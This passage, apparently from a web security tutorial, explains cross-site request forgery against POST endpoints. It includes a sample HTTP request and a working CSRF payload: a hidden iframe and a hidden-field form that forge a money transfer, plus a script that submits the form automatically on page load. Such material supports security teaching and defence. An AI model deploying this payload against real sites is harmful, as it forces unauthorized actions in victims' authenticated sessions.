When the application uses the HTTP POST request, it needs to have more information in mind to perform a CSRF attack. The following is an example of a POST request:

POST / HTTP/1.1
Host: www.mysocialnetwork.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Length: 0
Content-Type: text/plain;charset=UTF-8
DNT: 1
Connection: close

When an application is using a POST request such as this, it is necessary to make a form to include the call to the methods to be exploited in the hidden fields. For example, using the past request, a form to exploit the vulnerability could be the following:

<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action=' https://www.mysocialnetwork.com/process.php?' target="csrf-frame" id
="csrf-form">
<input type='hidden' name='from' value='Rick'>
<input type='hidden' name='to' value='Morty'>
<input type='hidden' name='amount' value='10008000'>
<input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>

What is happening here? When the user opens the form, the idea is that the user does not see the hidden values in the form. Some security controls avoid the Submit buttons for the user's security. In this case, it includes a JavaScript code to submit the form automatically once the website is loaded. It is not important whether the user interacts with the form; the purpose of it is to be opened – after that, the user is not important for the attack.

When the JavaScript code sends the form, the cookie with all the sessions and information about the user is included in the POST request, doing any valid transaction made by it. To be clearer in the attack, it is possible to use the <iframe> tag to avoid displaying the response to the user.